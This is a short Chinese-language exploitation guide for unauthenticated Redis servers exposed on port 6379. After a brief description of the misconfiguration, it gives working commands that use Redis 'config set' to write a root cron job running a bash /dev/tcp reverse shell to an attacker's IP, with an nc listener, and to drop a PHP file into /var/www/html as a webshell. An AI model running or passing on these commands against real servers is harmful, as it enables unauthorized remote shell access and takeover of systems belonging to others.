1. 漏洞簡介#
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
攻擊者通過未授權訪問漏洞,利用 Redis 自身的 config 命令,可以登錄目標伺服器、添加計劃任務、寫入 Webshell 等操作。
以下操作都是在已存在 Redis 未授權訪問漏洞的前提下進行的
2. 利用計劃任務反彈 shell#
連接工具:https://github.com/caoxinyu/RedisClient/releases
https://github.com/dmajkic/redis/downloads
在連接到漏洞的受害主機上運行:
set xx "\n* * * * * bash -i >& /dev/tcp/IP地址/端口 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
在本地運行:
nc -lvnp 端口
3. Redis 寫 webshell#
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save